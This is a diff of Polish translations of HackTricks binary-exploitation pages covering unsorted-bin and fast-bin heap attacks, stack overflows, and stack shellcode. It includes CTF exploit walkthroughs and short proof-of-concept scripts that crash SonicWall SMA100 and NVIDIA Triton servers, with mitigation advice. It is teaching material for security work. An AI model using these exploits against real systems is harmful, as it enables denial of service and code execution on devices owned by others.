+To w gruncie rzeczy bardzo podstawowa koncepcja. Chunki w unsorted bin zawierają wskaźniki. Pierwszy chunk w unsorted bin będzie miał faktycznie linki **`fd`** i **`bk`** **wskazujące na część main arena (Glibc)**.\
+W związku z tym, jeśli potrafisz **umieścić chunk w unsorted bin i odczytać go** (use after free) lub **zaalokować go ponownie bez nadpisywania przynajmniej jednego ze wskaźników**, aby potem go **odczytać**, możesz uzyskać **Glibc info leak**.
 
-Podobny [**atak użyty w tym writeupie**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) polegał na nadużyciu struktury 4 chunków (A, B, C i D — D służy tylko do zapobieżenia konsolidacji z top chunk), więc null byte overflow w B został użyty, by sprawić, że C będzie wskazywać, że B jest nieużywany. Dodatkowo w B pole `prev_size` zostało zmodyfikowane tak, że rozmiar zamiast być rozmiarem B był A+B.\
-Następnie C został zwolniony i skonsolidowany z A+B (ale B nadal był używany). Przydzielono nowy chunk o rozmiarze A, a potem do B zapisano libc leaked addresses, skąd następnie je odczytano.
+Podobny [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) polegał na nadużyciu struktury z 4 chunkami (A, B, C i D — D służy tylko do zapobieżenia konsolidacji z top chunk), więc null byte overflow w B został użyty, aby C wskazywało, że B jest nieużywane. Również w B dane `prev_size` zostały zmodyfikowane tak, że rozmiar zamiast być rozmiarem B był A+B.\
+Następnie C zostało zwolnione i skonsolidowane z A+B (ale B nadal było w użyciu). Nowy chunk o rozmiarze A został zaalokowany, a następnie libc leaked addresses zostały zapisane do B, skąd zostały wycieknięte.
 
-## Referencje i inne przykłady
+## Odnośniki i inne przykłady
 
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
-- Celem jest nadpisanie zmiennej globalnej wartością większą niż 4869, aby możliwe było zdobycie flagi i PIE nie jest włączone.
-- Możliwe jest wygenerowanie chunków o dowolnych rozmiarach i istnieje heap overflow o żądanym rozmiarze.
-- Atak zaczyna się od stworzenia 3 chunków: chunk0 do nadużycia overflow, chunk1 który ma być overflowowany oraz chunk2, aby top chunk nie skonsolidował poprzednich.
-- Następnie chunk1 jest zwalniany, a chunk0 jest overflowowany tak, że `bk` wskazywane przez chunk1 pokazuje na: `bk = magic - 0x10`
-- Potem alokowany jest chunk3 o tym samym rozmiarze co chunk1, co wywoła unsorted bin attack i zmodyfikuje wartość zmiennej globalnej, umożliwiając zdobycie flagi.
+- Celem jest nadpisanie globalnej zmiennej wartością większą niż 4869, aby możliwe było zdobycie flagi i PIE nie jest włączone.
+- Możliwe jest wygenerowanie chunków o dowolnych rozmiarach i istnieje heap overflow o wymaganym rozmiarze.
+- Atak zaczyna się od stworzenia 3 chunków: chunk0 do wykorzystania overflowu, chunk1 który ma zostać przepełniony oraz chunk2, żeby top chunk nie skonsolidował poprzednich.
+- Następnie chunk1 jest zwalniany, a chunk0 jest przepełniany tak, że wskaźnik `bk` chunk1 wskazuje na: `bk = magic - 0x10`
+- Potem chunk3 jest zaalokowany o tym samym rozmiarze co chunk1, co wywoła unsorted bin attack i zmodyfikuje wartość globalnej zmiennej, umożliwiając zdobycie flagi.
 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
-- Funkcja merge jest podatna, ponieważ jeśli oba przekazane indeksy są takie same, to następuje realloc na tym indeksie, a potem jego free, ale zwracany jest pointer do tej zwolnionej regionu, który można wykorzystać.
-- W związku z tym **tworzone są 2 chunky**: **chunk0**, który zostanie scalony sam ze sobą, oraz chunk1 żeby zapobiec konsolidacji z top chunk. Następnie **merge function jest wywoływana dla chunk0** dwukrotnie, co spowoduje use after free.
-- Potem wywoływana jest funkcja **`view`** z indeksem 2 (który odpowiada use after free chunkowi), co spowoduje **leak libc address**.
-- Ponieważ binarka ma zabezpieczenia, które pozwalają mallocować tylko rozmiary większe niż **`global_max_fast`**, więc nie używa się fastbinów — zastosowany zostanie unsorted bin attack, aby nadpisać zmienną globalną `global_max_fast`.
-- Następnie można wywołać funkcję edycji z indeksem 2 (pointer use after free) i nadpisać wskaźnik `bk`, aby wskazywał na `p64(global_max_fast-0x10)`. Potem stworzenie nowego chunku użyje wcześniej skompromitowanego adresu free (0x20) i **wywoła unsorted bin attack**, nadpisując `global_max_fast` na bardzo dużą wartość, co pozwoli teraz tworzyć chunki w fast binach.
-- Teraz wykonywany jest **fast bin attack**:
-- Najpierw odkryto, że można pracować z fast **chunkami o rozmiarze 200** w lokalizacji **`__free_hook`**:
+- Funkcja merge jest podatna, ponieważ jeśli oba przekazane indeksy są identyczne, wykona realloc na nim, a potem free, ale zwróci wskaźnik do tej zwolnionej pamięci, który można potem wykorzystać.
+- W związku z tym tworzone są **2 chunki**: **chunk0**, który zostanie scalony sam ze sobą, oraz chunk1, aby zapobiec konsolidacji z top chunk. Następnie **merge** jest wywołane z chunk0 dwukrotnie, co spowoduje use after free.
+- Potem funkcja **`view`** jest wywoływana z indeksem 2 (który jest indeksem chunku z use after free), co spowoduje **leak a libc address**.
+- Ponieważ binarka ma zabezpieczenie żeby mallocować tylko rozmiary większe niż **`global_max_fast`** (więc fastbin nie jest używany), zostanie użyty unsorted bin attack do nadpisania globalnej zmiennej `global_max_fast`.
+- Następnie możliwe jest wywołanie funkcji edit z indeksem 2 (wskaźnik use after free) i nadpisanie wskaźnika `bk`, tak by wskazywał na `p64(global_max_fast-0x10)`. Potem utworzenie nowego chunku wykorzysta wcześniej skompromitowany address z free (0x20) i **wywoła unsorted bin attack**, nadpisując `global_max_fast` na bardzo dużą wartość, co pozwoli teraz tworzyć chunki w fast bins.
+- Teraz przeprowadzany jest **fast bin attack**:
+- Po pierwsze odkryto, że możliwe jest operowanie na fast **chunkach o rozmiarze 200** w lokalizacji **`__free_hook`**:
 - <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -116,19 +113,19 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
-- Jeśli uda się uzyskać fast chunk o rozmiarze 0x200 w tej lokalizacji, będzie można nadpisać wskaźnik funkcji, który zostanie wykonany.
-- W tym celu tworzony jest nowy chunk o rozmiarze `0xfc` i funkcja merge jest wywoływana z tym wskaźnikiem dwukrotnie — w ten sposób uzyskujemy pointer do zwolnionego chunku o rozmiarze `0xfc*2 = 0x1f8` w fast binie.
-- Potem wywoływana jest funkcja edycji na tym chunku, aby zmodyfikować adres **`fd`** tego fast binu tak, aby wskazywał na poprzedni **`__free_hook`**.
-- Następnie alokowany jest chunk o rozmiarze `0x1f8`, aby pobrać ze fast binu poprzedni nieużyteczny chunk, a potem kolejny chunk o rozmiarze `0x1f8`, aby otrzymać fast bin chunk w **`__free_hook`**, który jest nadpisywany adresem funkcji **`system`**.
-- I w końcu chunk zawierający string `/bin/sh\x00` jest zwalniany przez wywołanie funkcji delete, wywołując **`__free_hook`**, które teraz wskazuje na system z `/bin/sh\x00` jako parametrem.
+- Jeśli uda się umieścić fast chunk o rozmiarze 0x200 w tej lokalizacji, będzie możliwe nadpisanie wskaźnika do funkcji, która zostanie wykonana.
+- W tym celu tworzy się nowy chunk o rozmiarze `0xfc` i merge jest wywoływane z tym wskaźnikiem dwukrotnie; w ten sposób otrzymujemy wskaźnik do zwolnionego chunku o rozmiarze `0xfc*2 = 0x1f8` w fast bin.
+- Następnie funkcja edit jest wywoływana na tym chunku, by zmodyfikować adres **`fd`** tego fast bin, tak aby wskazywał na wcześniej wspomniany **`__free_hook`**.
+- Potem tworzy się chunk o rozmiarze `0x1f8`, aby pobrać z fast bin poprzedni bezużyteczny chunk; kolejny chunk o rozmiarze `0x1f8` zostaje utworzony, aby uzyskać fast bin chunk w lokalizacji **`__free_hook`**, która zostaje nadpisana adresem funkcji **`system`**.
+- I na koniec chunk zawierający string `/bin/sh\x00` jest zwalniany przez wywołanie funkcji delete, co wywołuje funkcję **`__free_hook`**, która wskazuje na system z `/bin/sh\x00` jako parametrem.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Kolejny przykład nadużycia 1B overflow, aby skonsolidować chunki w unsorted bin i uzyskać libc infoleak, a następnie przeprowadzić fast bin attack w celu nadpisania malloc hook adresem one gadget.
+- Inny przykład nadużycia 1B overflow do skonsolidowania chunków w unsorted bin i uzyskania libc infoleak, a następnie przeprowadzenia fast bin attack w celu nadpisania malloc hook adresem one gadget
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
 - Możemy alokować tylko chunki o rozmiarze większym niż `0x100`.
-- Nadpisanie `global_max_fast` przy użyciu Unsorted Bin attack (działa 1/16 razy z powodu ASLR, ponieważ trzeba zmodyfikować 12 bitów, ale trzeba zmodyfikować 16 bitów).
-- Fast Bin attack, aby zmodyfikować globalną tablicę chunków. To daje arbitralny read/write primitive, co pozwala na modyfikację GOT i ustawienie pewnej funkcji, by wskazywała na `system`.
+- Nadpisz `global_max_fast` przy użyciu Unsorted Bin attack (działa 1/16 razy z powodu ASLR, ponieważ trzeba zmodyfikować 12 bitów, ale musimy zmodyfikować 16 bitów).
+- Fast Bin attack, aby zmodyfikować globalną tablicę chunków. To daje arbitralny read/write primitive, który pozwala modyfikować GOT i ustawić jakąś funkcję, aby wskazywała na `system`.
 
-## References
+## Referencje
 
 - Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
 - `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c

src/binary-exploitation/stack-overflow/README.md

@@ -2,17 +2,17 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Co to jest Stack Overflow
+## Czym jest Stack Overflow
 
-A **stack overflow** to luka, która występuje, gdy program zapisuje na stos więcej danych niż zostało mu na to przydzielone. Ten nadmiar danych **nadpisze sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia prawidłowych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Problem ten często wynika z użycia niebezpiecznych funkcji, które nie wykonują sprawdzania ograniczeń (bounds checking) dla danych wejściowych.
+**stack overflow** to podatność, która występuje, gdy program zapisuje na stos więcej danych, niż zostało dla niego przydzielone. Nadmiar tych danych **nadpisze sąsiednią przestrzeń pamięci**, co prowadzi do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie uruchomienia złośliwego kodu. Problem ten często wynika z użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic dla danych wejściowych.
 
-Głównym problemem tego nadpisania jest to, że **saved instruction pointer (EIP/RIP)** oraz **saved base pointer (EBP/RBP)**, używane do powrotu do poprzedniej funkcji, są **przechowywane na stosie**. W związku z tym atakujący będzie w stanie je nadpisać i **kontrolować przepływ wykonania programu**.
+Głównym problemem takiego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)**, do którego następuje powrót do poprzedniej funkcji, są **przechowywane na stosie**. W związku z tym atakujący może je nadpisać i **kontrolować przepływ wykonania programu**.
 
-Luka zwykle powstaje, ponieważ funkcja **kopiuje na stos więcej bajtów niż zostało dla niej przydzielone**, umożliwiając tym samym nadpisanie innych części stosu.
+Ta podatność zwykle pojawia się, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość zaalokowana dla niej**, co pozwala na nadpisanie innych części stosu.
 
-Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Również funkcje takie jak **`fgets`**, **`read`** i **`memcpy`**, które przyjmują **argument długości**, mogą być użyte w sposób podatny, jeśli podana długość jest większa niż przydzielona.
+Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Również funkcje takie jak **`fgets`**, **`read`** i **`memcpy`**, które przyjmują **argument długości**, mogą być użyte w sposób podatny, jeśli podana długość jest większa niż zaalokowana.
 
-Na przykład, następujące funkcje mogą być podatne:
+Na przykład, poniższe funkcje mogą być podatne:
 ```c
 void vulnerable() {
 char buffer[128];
@@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
 printf("You entered: %s\n", buffer);
 }
 ```
-### Finding Stack Overflows offsets
+### Znajdowanie offsetów Stack Overflows
 
-Najczęstszym sposobem wykrywania Stack Overflows jest podanie bardzo dużego wejścia składającego się z `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **próbowano uzyskać dostęp do adresu `0x41414141`**.
+Najczęstszym sposobem wykrywania stack overflowów jest podanie bardzo dużego wejścia składającego się z `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, wskazujący, że próbowano uzyskać dostęp do **adresu `0x41414141`**.
 
-Ponadto, gdy już stwierdzisz istnienie podatności Stack Overflow, będziesz musiał znaleźć offset umożliwiający **overwrite the return address** — do tego zwykle używa się **De Bruijn sequence.** Dla zadanego alfabetu o rozmiarze _k_ i podciągów długości _n_ jest to **cykliczna sekwencja, w której każdy możliwy podciąg długości _n_ pojawia się dokładnie raz** jako spójny podciąg.
+Co więcej, gdy już znajdziesz, że istnieje podatność Stack Overflow, będziesz musiał znaleźć offset umożliwiający **overwrite the return address**, do tego zwykle używa się **De Bruijn sequence.** Która dla danego alfabetu o rozmiarze _k_ i podciągów długości _n_ jest **cykliczną sekwencją, w której każdy możliwy podciąg długości _n_ pojawia się dokładnie raz** jako podciąg spójny.
 
-Dzięki temu, zamiast ręcznie ustalać, który offset jest potrzebny do kontrolowania EIP, można użyć jako paddingu jednej z takich sekwencji, a następnie znaleźć offset bajtów, które ją nadpisały.
+Dzięki temu, zamiast ręcznie ustalać, który offset jest potrzebny do kontrolowania EIP, można użyć jako paddingu jednej z tych sekwencji, a następnie znaleźć offset bajtów, które ostatecznie go nadpisały.
 
-Do tego można użyć **pwntools** dla tego:
+Do tego można użyć **pwntools**:
 ```python
 from pwn import *
 
@@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
-## Wykorzystywanie Stack Overflows
+## Eksploatacja Stack Overflows
 
-Podczas overflowu (zakładając, że rozmiar overflowu jest wystarczająco duży) będziesz w stanie **nadpisać** wartości zmiennych lokalnych na stacku aż do zapisanych **EBP/RBP and EIP/RIP (or even more)**.\
-Najczęstszym sposobem nadużycia tego typu podatności jest **zmodyfikowanie adresu powrotu**, tak aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce wskazane przez użytkownika** w tym wskaźniku.
+Podczas overflowu (zakładając, że rozmiar overflowu jest wystarczająco duży) będziesz w stanie **overwrite** wartości lokalnych zmiennych na stacku aż do zapisanego **EBP/RBP and EIP/RIP (or even more)**.\
+Najczęstszy sposób nadużycia tego typu podatności to **zmodyfikowanie return address**, tak aby po zakończeniu funkcji **control flow został przekierowany tam, gdzie wskazuje ten wskaźnik**.
 
-Jednak w innych scenariuszach samo **nadpisanie wartości niektórych zmiennych na stacku** może wystarczyć do eksploatacji (np. w prostych zadaniach CTF).
+Jednak w innych scenariuszach samo **nadpisanie wartości niektórych zmiennych na stacku** może wystarczyć do eksploatu (np. w prostych wyzwaniach CTF).
 
 ### Ret2win
 
-W tego typu zadaniach CTF istnieje **function** **inside** the binary, która **never called** i którą **musisz wywołać, aby wygrać**. W tych zadaniach wystarczy znaleźć **offset to overwrite the return address** oraz **find the address of the function** do wywołania (zazwyczaj [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączony), tak aby po zwróceniu się podatnej funkcji została wywołana ukryta funkcja:
+W tego typu wyzwaniach CTF w binarce znajduje się **function**, która **nigdy nie jest wywoływana**, a którą **musisz wywołać, żeby wygrać**. W tych zadaniach wystarczy znaleźć **offset do overwrite return address** i **adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) jest wyłączony), tak aby po powrocie podatnej funkcji została wywołana ukryta funkcja:
 
 
 {{#ref}}
@@ -66,7 +66,7 @@ ret2win/
 
 ### Stack Shellcode
 
-W tym scenariuszu atakujący może umieścić shellcode na stacku i użyć kontrolowanego EIP/RIP, aby skoczyć do shellcode'a i wykonać dowolny kod:
+W tym scenariuszu atakujący może umieścić shellcode na stacku i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać arbitrary code:
 
 
 {{#ref}}
@@ -75,7 +75,7 @@ stack-shellcode/
 
 ### Windows SEH-based exploitation (nSEH/SEH)
 
-Na 32-bitowym Windows overflow może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego adresu powrotu. Eksploatacja zazwyczaj zastępuje wskaźnik SEH gadgetem POP POP RET i używa 4-bajtowego pola nSEH do krótkiego skoku, aby wrócić do dużego bufora, w którym znajduje się shellcode. Powszechny wzorzec to krótki jmp w nSEH, który ląduje na 5-bajtowym near jmp umieszczonym tuż przed nSEH, aby przeskoczyć setki bajtów z powrotem do początku payloadu.
+Na 32-bit Windows overflow może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego return address. Eksploatacja zwykle zastępuje SEH pointer gadgetem POP POP RET i używa 4-bajtowego pola nSEH do krótkiego skoku, aby pivot back do dużego bufferu, gdzie znajduje się shellcode. Częsty wzorzec to krótki jmp w nSEH, który ląduje na 5-bajtowym near jmp umieszczonym tuż przed nSEH, aby skoczyć setki bajtów wstecz do początku payloadu.
 
 
 {{#ref}}
@@ -84,7 +84,7 @@ windows-seh-overflow.md
 
 ### ROP & Ret2... techniques
 
-Ta technika jest podstawowym mechanizmem pozwalającym obejść główną ochronę przeciwko poprzedniej technice: **No executable stack (NX)**. Pozwala też wykonać kilka innych technik (ret2lib, ret2syscall...), które finalnie uruchomią dowolne polecenia wykorzystując istniejące instrukcje w binarce:
+Ta technika to podstawowy framework do obejścia głównej ochrony stosowanej przeciwko poprzedniej metodzie: **No executable stack (NX)**. Pozwala też wykonać wiele innych technik (ret2lib, ret2syscall...), które doprowadzą do wykonania arbitrary commands poprzez wykorzystanie istniejących instrukcji w binarce:
 
 
 {{#ref}}
@@ -93,25 +93,26 @@ Ta technika jest podstawowym mechanizmem pozwalającym obejść główną ochron
 
 ## Heap Overflows
 
-Overflow nie zawsze będzie w stacku, może być również w **heap** na przykład:
+Overflow nie zawsze występuje na stacku — może też być w **heap**, na przykład:
 
 
 {{#ref}}
 ../libc-heap/heap-overflow.md
 {{#endref}}
 
-## Rodzaje zabezpieczeń
+## Types of protections
 
-Istnieje kilka zabezpieczeń próbujących zapobiegać eksploatacji podatności — sprawdź je w:
+Istnieje kilka mechanizmów ochronnych próbujących zapobiec exploicie podatności — sprawdź je w:
 
 
 {{#ref}}
 ../common-binary-protections-and-bypasses/
 {{#endref}}
 
-### Przykład z rzeczywistego świata: CVE-2025-40596 (SonicWall SMA100)
+### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
 
-Dobre pokazanie, dlaczego **`sscanf` should never be trusted for parsing untrusted input**, pojawiło się w 2025 roku w urządzeniu SonicWall SMA100 SSL-VPN. Podatna procedura wewnątrz `/usr/src/EasyAccess/bin/httpd` próbuje wyodrębnić wersję i endpoint z dowolnego URI, które zaczyna się od `/__api__/`:
+Dobre pokazanie, dlaczego **`sscanf` nie powinno być nigdy zaufane do parsowania niesprawdzonych danych wejściowych**, pojawiło się w 2025 w urządzeniu SonicWall SMA100 SSL-VPN.
+Wrażliwa rutyna wewnątrz `/usr/src/EasyAccess/bin/httpd` próbuje wyciągnąć version i endpoint z każdego URI, które zaczyna się od `/__api__/`:
 ```c
 char version[3];
 char endpoint[0x800] = {0};
@@ -119,25 +120,25 @@ char endpoint[0x800] = {0};
 sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
 ```
 1. Pierwsza konwersja (`%2s`) bezpiecznie zapisuje **dwa** bajty do `version` (np. `"v1"`).
-2. Druga konwersja (`%s`) **nie ma specyfikatora długości**, dlatego `sscanf` będzie kopiować **aż do pierwszego bajtu NUL**.
+2. Druga konwersja (`%s`) **nie ma określnika długości**, dlatego `sscanf` będzie kopiować **aż do pierwszego bajtu NUL**.
 3. Ponieważ `endpoint` znajduje się na **stack** i ma długość **0x800 bajtów**, podanie ścieżki dłuższej niż 0x800 bajtów uszkadza wszystko, co znajduje się po buforze ‑ w tym **stack canary** i **saved return address**.
 
-Wystarczy jedno-liniowy proof-of-concept, aby wywołać crash **before authentication**:
+Jednolinijkowy proof-of-concept wystarczy, aby wywołać crash **przed uwierzytelnieniem**:
 ```python
 import requests, warnings
 warnings.filterwarnings('ignore')
 url = "https://TARGET/__api__/v1/" + "A"*3000
 requests.get(url, verify=False)
 ```
-Mimo że stack canaries przerywają proces, atakujący i tak uzyskuje prymityw **Denial-of-Service** (a przy dodatkowych information leaks, możliwe jest code-execution).  Wniosek jest prosty:
+Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution).  The lesson is simple:
 
-* Zawsze określaj **maksymalną szerokość pola** (np. `%511s`).
+* Zawsze podawaj **maksymalną szerokość pola** (np. `%511s`).
 * Preferuj bezpieczniejsze alternatywy, takie jak `snprintf`/`strncpy_s`.
 
 ### Przykład z rzeczywistego świata: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
 
 NVIDIA’s Triton Inference Server (≤ v25.06) zawierał wiele **stack-based overflows** dostępnych przez jego HTTP API.
-Wzorzec podatności pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`:
+Wrażliwy wzorzec pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`:
 ```c
 int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
 if (n > 0) {
@@ -148,8 +149,8 @@ alloca(sizeof(struct evbuffer_iovec) * n);
 }
 ```
 1. `evbuffer_peek` (libevent) zwraca **liczbę wewnętrznych segmentów bufora**, które tworzą bieżące ciało żądania HTTP.
-2. Każdy segment powoduje alokację **16-byte** `evbuffer_iovec` na **stack** za pomocą `alloca()` – **bez żadnego górnego ograniczenia**.
-3. Nadużywając **HTTP _chunked transfer-encoding_**, klient może zmusić żądanie do podziału na **setki tysięcy 6-bajtowych kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie nieograniczenie aż do wyczerpania stack.
+2. Każdy segment powoduje zaalokowanie **16-byte** `evbuffer_iovec` na **stack** za pomocą `alloca()` — **bez żadnego górnego ograniczenia**.
+3. Poprzez nadużywanie **HTTP _chunked transfer-encoding_**, klient może zmusić żądanie do podziału na **setki tysięcy 6-byte kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie bez ograniczeń, aż stack zostanie wyczerpany.
 
 #### Dowód koncepcji (DoS)
 ```python
@@ -175,10 +176,10 @@ s.close()
 if __name__ == "__main__":
 exploit(*sys.argv[1:])
 ```
-Żądanie o wielkości ~3 MB wystarczy, aby nadpisać saved return address i **crash** daemona na default build.
+Żądanie ~3 MB wystarcza, aby nadpisać zapisany adres powrotu i **crash** demona na domyślnej kompilacji.
 
 #### Poprawka i środki zaradcze
-Wydanie 25.07 zastępuje unsafe stack allocation za pomocą **heap-backed `std::vector`** i elegancko obsługuje `std::bad_alloc`:
+W wydaniu 25.07 zastąpiono niebezpieczną alokację na stosie **opartą na stercie `std::vector`** i poprawnie obsłużono `std::bad_alloc`:
 ```c++
 std::vector<evbuffer_iovec> v_vec;
 try {
@@ -189,9 +190,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
 struct evbuffer_iovec *v = v_vec.data();
 ```
 Wnioski:
-* Nigdy nie wywołuj `alloca()` z rozmiarami kontrolowanymi przez atakującego.
-* Żądania chunked mogą drastycznie zmienić kształt buforów po stronie serwera.
-* Zwaliduj / ogranicz każdą wartość pochodzącą od klienta *zanim* użyjesz jej do alokacji pamięci.
+* Nigdy nie wywołuj `alloca()` z attacker-controlled sizes.
+* Chunked requests mogą drastycznie zmienić kształt buforów po stronie serwera.
+* Waliduj / ogranicz każdą wartość pochodzącą z client input *przed* użyciem jej w memory allocations.
 
 ## Źródła
 * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -4,11 +4,11 @@
 
 ## Podstawowe informacje
 
-**Stack shellcode** to technika używana w **binary exploitation**, w której atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Instruction Pointer (IP)** lub **Extended Instruction Pointer (EIP)**, aby wskazywał na lokalizację tego shellcode'a, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na docelowym systemie. Poniżej znajduje się rozbicie procesu, w tym prosty przykład w C oraz sposób, w jaki można napisać odpowiadający exploit w Pythonie za pomocą **pwntools**.
+**Stack shellcode** to technika stosowana w **binary exploitation**, w której atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Instruction Pointer (IP)** lub **Extended Instruction Pointer (EIP)**, aby wskazać lokalizację tego shellcode, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Poniżej znajduje się rozbicie procesu, w tym prosty przykład w C oraz sposób, w jaki można napisać odpowiadający exploit w Pythonie przy użyciu **pwntools**.
 
-### C Example: Program podatny na ataki
+### Przykład w C: podatny program
 
-Zacznijmy od prostego przykładu programu w C podatnego na ataki:
+Zacznijmy od prostego przykładu podatnego programu w C:
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -26,20 +26,20 @@ return 0;
 ```
 Ten program jest podatny na przepełnienie bufora z powodu użycia funkcji `gets()`.
 
-### Kompilacja
+### Compilation
 
 Aby skompilować ten program z wyłączonymi różnymi zabezpieczeniami (aby zasymulować podatne środowisko), możesz użyć następującego polecenia:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
 - `-fno-stack-protector`: Wyłącza ochronę stosu.
-- `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do uruchamiania shellcode umieszczonego na stosie.
-- `-no-pie`: Wyłącza Position Independent Executable (PIE), co ułatwia przewidzenie adresu pamięci, w którym będzie znajdował się nasz shellcode.
-- `-m32`: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w exploit development.
+- `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode umieszczonego na stosie.
+- `-no-pie`: Wyłącza Position Independent Executable (PIE), ułatwiając przewidzenie adresu pamięci, gdzie nasz shellcode będzie się znajdował.
+- `-m32`: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w tworzeniu exploitów.
 
-### Python Exploit przy użyciu Pwntools
+### Exploit w Pythonie z użyciem **pwntools**
 
-Oto jak możesz napisać exploit w Pythonie, używając **pwntools**, aby przeprowadzić atak **ret2shellcode**:
+Oto jak można napisać exploit w Pythonie z użyciem **pwntools**, aby przeprowadzić atak **ret2shellcode**:
 ```python
 from pwn import *
 
@@ -68,26 +68,26 @@ p.interactive()
 ```
 Ten skrypt konstruuje payload składający się z **NOP slide**, **shellcode**, a następnie nadpisuje **EIP** adresem wskazującym na NOP slide, zapewniając wykonanie shellcode.
 
-The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
+The **NOP slide** (`asm('nop')`) jest używany, aby zwiększyć prawdopodobieństwo, że wykonanie "slide" trafi do naszego shellcode niezależnie od dokładnego adresu. Dostosuj argument `p32()` do adresu początkowego bufora plus offset, aby wylądować w NOP slide.
 
-## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
+## Windows x64: Ominięcie NX przy użyciu VirtualAlloc ROP (ret2stack shellcode)
 
-Na nowoczesnych Windows stack jest non-executable (DEP/NX). Powszechną metodą, aby nadal wykonać stack-resident shellcode po stack BOF, jest zbudowanie 64-bit ROP chain, który wywołuje VirtualAlloc (lub VirtualProtect) z Import Address Table (IAT) modułu, aby uczynić region stacka wykonywalnym, a następnie powrót do shellcode dołączonego po chain.
+On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
 
 Kluczowe punkty (Win64 calling convention):
 - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
-- RCX = lpAddress → wybierz adres w aktualnym stacku (np. RSP), tak aby nowo zaalokowany region RWX nachodził na twój payload
